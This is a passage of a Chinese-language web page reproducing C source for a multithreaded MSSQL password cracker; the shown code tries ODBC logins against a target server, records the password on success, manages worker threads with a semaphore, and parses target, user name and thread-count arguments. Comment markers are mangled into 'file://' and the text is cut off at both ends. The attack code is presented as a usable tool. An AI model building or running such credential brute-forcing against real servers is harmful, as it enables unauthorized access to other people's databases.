ULL,ConnStr,strlen(ConnStr), szBuffer,sizeof(szBuffer),&swStrLen, SQL_DRIVER_COMPLETE_REQUIRED); if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO) { file://连接失败,函数终止 file://printf("\nCouldn't connect to %s MSSQL server.\n",target); } else { file://连接远程MSSQL Server数据库成功 Cracked=TRUE; strncpy(passwd,pwd,sizeof(passwd)); file://断开连接 SQLDisconnect(hdbc); } }//end of tyr __finally{ file://释放连接句柄 SQLFreeHandle(SQL_HANDLE_DBC, hdbc); file://释放环境句柄 SQLFreeHandle(SQL_HANDLE_ENV, henv); file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值 ReleaseSemaphore(hSemaphore,1,&PreviousCount); file://计算当前活动线程数量 ActiveThreads=MaxThreads-PreviousCount-1; file://printf("\nActiveThreads-->%d.",ActiveThreads); file://如果活动线程数量为0,那么将事件内核对象hEvent改为已通知状态,程序结束 if(ActiveThreads==0) { SetEvent(hEvent); } }//end of finally return 0; }
//////////////////////////////////////////////////////////////////////// int main(int argc,char **argv) { HANDLE hThread;//线程句柄 DWORD dwThreadId,dwRet; int i=0,err=0; clock_t start,end;//程序运行的起始和结束时间 double duration;
if(argc!=5) { usage(argv[0]); return 1; } file://取得目标地址,用户名 strncpy(target,argv[1],sizeof(target)); strncpy(UserName,argv[2],sizeof(UserName)); file://取得并检查用户输入的最大线程数量 MaxThreads=atol(argv[4]); if((MaxThreads>100) || (MaxThreads<1)) { usa上一页 [1] [2] [3] [4] [5] [6] 下一页
|